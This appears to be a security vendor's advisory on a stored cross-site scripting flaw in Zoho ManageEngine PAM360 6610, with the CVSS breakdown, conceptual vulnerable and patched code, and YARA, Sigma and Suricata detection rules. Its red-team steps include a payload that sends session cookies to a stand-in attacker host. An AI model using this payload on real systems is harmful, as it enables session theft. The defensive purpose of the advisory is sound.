CVE-2024-27313

Executive Summary

CVE-2024-27313 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Zoho ManageEngine PAM360, specifically version 6610. This vulnerability allows an authenticated attacker with low privileges to inject malicious scripts into the application, which are then stored and executed in the browsers of other users. The CVSS score of 6.3 indicates a medium severity, but the potential for credential theft, session hijacking, and data exfiltration makes it a significant threat. As of the latest intelligence, no public proof-of-concept (PoC) or patch details are available, but the vulnerability is confirmed in version 6610.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Attacker needs valid credentials.
• User Interaction (UI): Required (R) - Victim must click or view the malicious content.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited data modification.
• Availability (A): Low (L) - Limited service disruption.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature can lead to widespread compromise within an organization.

Deep Dive & Mechanics

The vulnerability resides in the Zoho ManageEngine PAM360 application, a privileged access management solution. In version 6610, the application fails to properly sanitize user-supplied input before storing it in the database. When an authenticated user submits data (e.g., through a configuration field, comment, or resource description), the input is not encoded or validated. This allows an attacker to inject malicious HTML and JavaScript code.

When another user (including administrators) views the page containing the stored data, the injected script executes in their browser context. This can lead to:

• Session cookie theft.
• Redirection to malicious sites.
• Keylogging.
• Performing actions on behalf of the victim.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding or input validation on the server side.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Vulnerable: Directly storing user input without sanitization
def save_resource_description(request):
    description = request.POST.get('description')
    # No sanitization or encoding
    db.execute("INSERT INTO resources (description) VALUES (?)", (description,))
    return HttpResponse("Saved")

Patched Code (Expected):

# Patched: Sanitize input using a library like bleach
import bleach

def save_resource_description(request):
    description = request.POST.get('description')
    # Sanitize to remove scripts
    clean_description = bleach.clean(description, tags=[], strip=True)
    db.execute("INSERT INTO resources (description) VALUES (?)", (clean_description,))
    return HttpResponse("Saved")

The patched version would use a robust HTML sanitization library to strip out any potentially dangerous tags and attributes before storing the data.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a Zoho ManageEngine PAM360 instance version 6610.
• Valid low-privileged user credentials.

Steps:

1. Login: Authenticate to the PAM360 web interface.
2. Identify Injection Point: Navigate to a page that accepts user input and displays it to other users (e.g., resource description, notes, or custom fields).
3. Craft Payload: Create a malicious JavaScript payload. Example:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Inject: Submit the payload through the vulnerable form.
5. Trigger: Wait for an administrator or another user to view the page containing the injected script.
6. Exfiltrate: The victim's browser executes the script, sending their session cookie to the attacker's server.

Blue Team (Defender)

Detection:

• Monitor for unusual input patterns in PAM360 logs (e.g., <script>, onerror=, javascript:).
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Isolate the PAM360 instance from the internet if possible.
• Apply strict input validation and output encoding.
• Monitor for anomalous outbound connections from the PAM360 server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown or suspicious domains from the PAM360 server.
  • Unusual Referer headers containing <script> tags.
• Host:
  • Log entries containing HTML tags like <script>, <img onerror=, or <svg onload=.
  • Modified database entries with embedded JavaScript.
• Application:
  • Unexpected pop-ups or redirects when viewing PAM360 pages.
  • Session cookies being sent to external IPs.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payloads {
    meta:
        description = "Detects common stored XSS payloads in web application logs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-27313"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "alert(" nocase
        $xss6 = "document.cookie" nocase
    condition:
        any of them
}

Sigma Rule

title: Detect Stored XSS Attempts in PAM360 Logs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Zoho ManageEngine PAM360 logs
author: Valters IT
date: 2024/10/27
logsource:
    category: application
    product: zoho_manageengine_pam360
detection:
    selection:
        - EventID: 1001  # Example event ID for input submission
        - Message|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27313 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patch becomes available, upgrade to the latest version immediately.
2. Isolate: Restrict network access to the PAM360 instance to trusted IPs only.
3. WAF Rules: Deploy WAF rules to block common XSS patterns.
4. Input Validation: Implement server-side input validation and output encoding.

Long-term Measures:

• Code Review: Conduct a security audit of the application code.
• CSP: Implement Content Security Policy headers to mitigate XSS impact.
• Training: Educate developers on secure coding practices.
• Monitoring: Continuously monitor logs for suspicious activity.

Workaround:

• Disable the vulnerable feature if possible, or restrict access to trusted users only.

Valters IT
Securing Your Digital Frontier